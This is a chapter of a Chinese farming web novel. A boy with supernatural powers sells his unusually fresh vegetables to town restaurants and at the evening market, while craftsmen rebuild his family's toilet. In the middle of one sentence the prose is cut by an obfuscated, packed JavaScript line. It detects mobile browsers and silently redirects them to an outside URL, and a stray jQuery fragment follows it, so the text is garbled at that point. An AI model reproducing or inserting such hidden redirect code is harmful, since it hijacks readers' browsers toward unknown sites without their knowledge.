沈凇还要给许家饭馆和林越送菜,就让秦二他们自己去茅房那边看着来。
沈三秋继续跟着摘菜,四平五喜他们知道家里来人,带着两个弟弟在屋里面不出来,有点害怕。
给许家饭馆和林越的菜都弄好,沈凇想了一下,叫三秋去地里喊人回来。
毕竟真把孩子单独放家里,沈凇也不放心。
沈准他们还在外面干活,要等几天才能回来。
家里人就想着先收割,到时候不会太忙。
沈准他们在外面干的也是力气活,一点都不能歇,身体肯定是受不了。
沈凇不仅要和家里人说修茅房的事情,还要说一下迟酒的事。
他回来的时候,家里大人都下地了,沈凇没看到人也不好说。
等了有一会,沈三秋跟着家里人从地里回来。
在沈家老两口还有大嫂、二哥夫、五哥夫不解的眼神下,沈凇解释了所有的事情,包括昨天关于迟酒的事。
去送菜的时间不能再耽误,柳春霞因为沈凇说的那些事眉头紧皱,但也叫沈凇先去镇上送菜。
其他的事情已经发生,没有办法,给饭馆送菜是家里正经生意,不能耽误。
沈凇背上满当当的菜背篓。
看着自家哥儿瘦小的肩膀,背上那么大那么重的背篓,柳春霞心里也不好受。
心疼孩子,便无法再多苛责。
不论是沈凇救人,最后救命之恩是要人家以修茅房来报答,还是把价值千两的玉佩拿去赎了窑哥儿,沈大树和柳春霞都没有生气。
他们气的是自家孩子总是不顾危险。
历经沈净一事,沈家老两口是更加意识到,没有什么比一家人都平安健康的活着更重要。
那些银钱到底不是自己实打实赚来的,就算是拿在手里,也觉得亏心。
现在唯一觉得难的,是家里后面要多一口人。
到底是寻常百姓家,从来不知什么高门大户的规矩,什么主什么奴仆。
家里以后多个人,哎……
老两口无奈叹口气,却也怪不了孩子。
好心救人,好不容易救出来,也确实不好就把人那么扔下。
迟酒的户籍凭证那些被沈凇放在自己的草枕下,他同柳春霞说了,柳春霞也不识字,只知道这东西很重要,就收拾起来和家里的户籍凭证都放在一处。
屋后动工的声音没办法忽视,沈大树过去看,也没靠近。
老实巴交的庄稼人,没见过这样的阵仗。
秦二见人,倒是来招呼一声。沈大树看他穿着,说话声音都不敢太大。
心里隐约担心,想着小八救了什么样的贵人,连出来干活的都这么排场。还好小八没有要的很多,不然贵人不高兴,伤害小八可怎么办。
大人物要做什么事,不是小人物可以说了算。
知道大人物要给他们家修茅房报恩,沈家人没人说不。
只想着快点修完,那些人离开家里才敢喘口气。
沈凇背着背篓一路快走,他的异能现在趋于稳定,按着星际的异能等级分的话,属于是二级。
没办法制造很大的杀伤力,攻击性也不强。
但那是针对于星际来说。
放在这个世界,算是无人能敌了。
沈凇非常美滋滋的想着。
他要是愿意,可以把沈家沟所有耕地福一遍,就是花费的时间可能会有点长。
脚步轻快的到许家饭馆,沈凇熟练到后门,抬手拍门,很快就有人过来。
是周年冬。
他估摸着沈凇要来送食材,听到动静就跑过来开门。
把许家饭馆需要的食材都弄出来,周年冬称好重量,给了铜钱。
许掌柜没提月结,沈家也想日结,干脆就和之前送野菜一样日结。
送完了许家饭馆,沈凇又去给林越送。
都是早上新鲜采摘的瓜菜,水灵的要命。
林越看着被放到自家饭馆篮子里的瓜菜,心里生出喜意。
“你家的菜是真好,我之前定的都不如你家的好。”
他没说的是岂止是不如沈家的好,那送菜的看他是哥儿开饭馆,明面上敬着,背地里都把其他家挑剩下的给他。
这事也没办法说,不止一人这样做。
人趋利避害,欺软怕硬,这是常情。
林越看沈凇送来的瓜菜,那是越看越满意。
沈凇不知道林越之前的瓜菜是什么样的,他送的虽有先后,但他选的瓜菜都是一样品质的。
他家地里长的,也都是一样好。
用了异能的缘故,不会出现有好有坏的情况,是全好。
沈凇叫林越放心,“以后给你送的,都是和大家一样的品质,我家瓜菜特别好呢。”
他不忘夸自家的菜,希望林越生意越来越好,然后多多定他的菜。
那他肯定很快就能发财。
得了沈凇的话,林越更放心了。
离开林越的饭馆,沈凇看看日头,不早不晚。
林越的饭馆这时候不会有人,但是许家饭馆这时候肯定有人。
沈凇背着他的空背篓,小跑着去许家饭馆。
果然,许家饭馆里面已经坐了客。
饭馆没有固定的菜单,都是伙计当天报后厨可以做什么菜。
今日是许家饭馆第一次用沈家的丝瓜和空心菜做菜售卖,伙计报菜名会格外推荐饭馆新菜色。
沈凇听到伙计高声道:“厨房来了极为鲜嫩的丝瓜和空心菜,这时日热的很,客人要不要来碗丝瓜蛋汤,或是清炒、凉拌空心菜?味道比咱们之前的野菜还好哩。”
原本食客没想法,但听伙计说比之前野菜味道还好,想法一下子就起来了。
伙计也没瞎说,菜卖之前周年冬在后厨做过了,饭馆里所有人都尝过,那味道实在是没法说。
按着许掌柜说的,那就是他从没吃过这样好吃的丝瓜和空心菜,哪怕是再不喜欢吃的人,都会吃完它们。
许家饭馆有之前卖出的野菜好口碑,提起野菜,食客都愿意试试新菜。
沈凇送的食材绝对的好,可以说菜刚上来,食客刚吃上,就获得了极大赞扬。
在外面站了一会的沈凇,听到食客的肯定,他也跟着笑笑,乐呵呵的回家去。
食客喜欢吃,就说明他的菜好啊!
也就是说,他的这个生意是完全可做的,现在就差一个能打开市场的机会。
沈凇琢磨着要怎么做,他以前也没做过生意,这对他来说就是摸石头过河,还是有点困难的。
但沈凇有一点很好,那就是不管怎样,不到确定不可以的时候,是不会轻言放弃的。
再苦再累也不怕。
沈凇回家后,发现家里人又多起来,多的是来给沈家送修建茅房材料的人。
好几辆牛车,拉着满当当的砖瓦。
这样的大阵仗村子里没见过,也导致他家篱笆院外围着不少人看热闹。
沈凇好不容易挤进家里,他放下背篓见家人也不在屋中就去后面看看。
发现他爹娘还有大嫂,两个哥夫带着孩子们整整齐齐的都在。
他们同样没有见过这样大的阵仗,都在看着那些人快速拆他们家的茅房后,又开始搭建起来。
人多,速度就快。
这会已经把之前那破旧茅房给拆了,在用石灰划线,重新盖。
沈凇闻到了茅房特有的臭味,他很受不了。
他的再苦再累里面,坚决没有茅房。
沈家人看见沈凇回来,也不再看工匠们干活。
沈凇和家里人回到院子里,高兴的和他们说自家的丝瓜和空心菜,在许家饭馆卖的非常好。
这个消息也让家人跟着高兴。
卖的好,才会继续和他们家定菜,还可能定更多呢!
临近中午,林越空荡荡的小饭馆终于来了食客。
他的饭馆并不是很偏僻,客少除了厨子能做的菜色少以外,还有个原因就是这条街不远处有个更大一点的饭馆。
那里的厨子会的多点,加上那边掌柜的是个汉子。
林越的小饭馆又没个招牌特色的菜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540662|203638||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色,来林越饭馆的基本上都是些哥儿和妇人,除非是不远处那饭馆人坐满了,才会有更多的人来林越这吃饭。
已经晌午,终于来了客。是位上了些年纪的夫郎,带着他的孙儿来吃饭。
林越听说是带孙儿来看病,吃的要清淡些,想到后厨的菜就给推了丝瓜和空心菜。
后厨没有其他的菜蔬,也只能推这个。
正担心客人会不想吃这两样,就听客人说要一道丝瓜蛋花汤,再要两碗糙米饭。
其他的不要。
林越这里的伙计就是他兼任,对后面掌厨的哥儿说了一声后,后厨很快开火。
生了病的孩子蔫哒哒的,那孩子脑门有颗红痣,也是个小哥儿。
因年级尚小,梳了两个小辫子。
孩子没什么精气神,依偎在阿爷的怀中。
汤做的很快,林越从后厨用托盘将一大盆汤还有两碗糙米饭端上来。
病恹恹的孩子在阿爷轻声哄下,用鼻子嗅嗅汤,最后张口喝下。
汤入口的瞬间,孩子本来垂着的眼睛立马瞪圆,指着那盆汤看着阿爷,苍白的脸上透着些喜悦似乎是很喜欢,还要喝。
孩子病了好些天,每天吃不下饭,也愁坏了家里人。
生病后毫无胃口,身体只会越来越差。
阿爷见什么也吃不下的孙儿对那盆丝瓜蛋花汤表现的很喜欢,他心里高兴的不行。
能吃就好,能吃是福啊!
一盆丝瓜蛋花汤,爷孙两吃了个干净。
阿爷在确定孙儿实在吃不下,自己才用汤泡饭给吃了。
不得不说,这家店的汤做的实在是鲜美,也不知是怎么做的连他孙儿都用汤泡饭吃了整整一碗的饭呢。
两碗糙米饭加上一盆丝瓜蛋花汤,十文钱。
那阿爷仔细数好铜板付账,带着吃的饱饱的,脸上都有些红润不似刚进来时候那般病恹恹的孙儿离开饭馆。
下午日头过了最晒的时候,沈凇又去菜地里面弄菜,他要去镇上赶晚市。
临走的时候,柳春霞枯树一样的手拉着哥儿,语重心长道:“小八,今日出去卖菜千万别卖太便宜了。家里多个人要养活,你对银钱也上点心,别人家说啥你都点头,不把钱当回事,知道吗?”
沈凇很认真的点头答应。
他现在不一样,要对迟酒负责,要养迟酒的。
青云镇的晚市,路边有不少菜摊。
沈凇的菜很好,背篓往那一放,明眼人都能看出来这些菜的品相多好。
很快,沈凇周围就围不少人。
不过买东西的人自然不会多承认卖的东西有多好,那不就不能饶价了吗。
沈凇哪里会和人讲价,他嘴巴实在是说不过,干脆闭着嘴巴,任凭买菜的人怎么说,都只是眨眨眼。
但在客人说晚市的瓜菜不新鲜的时候,沈凇也会张嘴反驳一下,“我这是新鲜现摘的。”
说完就又闭上嘴巴,什么也不说。
他就怕自己一个不小心,就答应了客人的讲价。
因为他自己心里,其实觉得那个价钱也行。
不得不说,沈凇的菜是比早市上卖的都要新鲜的,就算是客人们再挑,也不能不认。
于是,沈凇以早市的菜价,在晚市上开张了。
丝瓜从两根一文,变成了一根一文。空心菜一大把,从一文变成了两文。
不过沈凇还是让客人自己挑,不管挑什么样,不称重,直接卖。
这让来买菜的客人心里最后一点不乐意都没了。
让他们自己挑,那可不得挑最好的!
那买空心菜的,有人觉得自己手小了,还请手大的帮忙抓一把。
开张后菜卖的很快。
也是差不多两刻钟,沈凇满当当的背篓就又空了。
他数了数铜钱,一百七十一文!比昨天在县里降价卖的多了一倍呢。
沈凇回家的路上又跑又跳,特别乐观的觉得自己离发财不远了。
还是自家种的瓜菜有市场啊,前面野菜不是极为低贱的价格,都没人要的。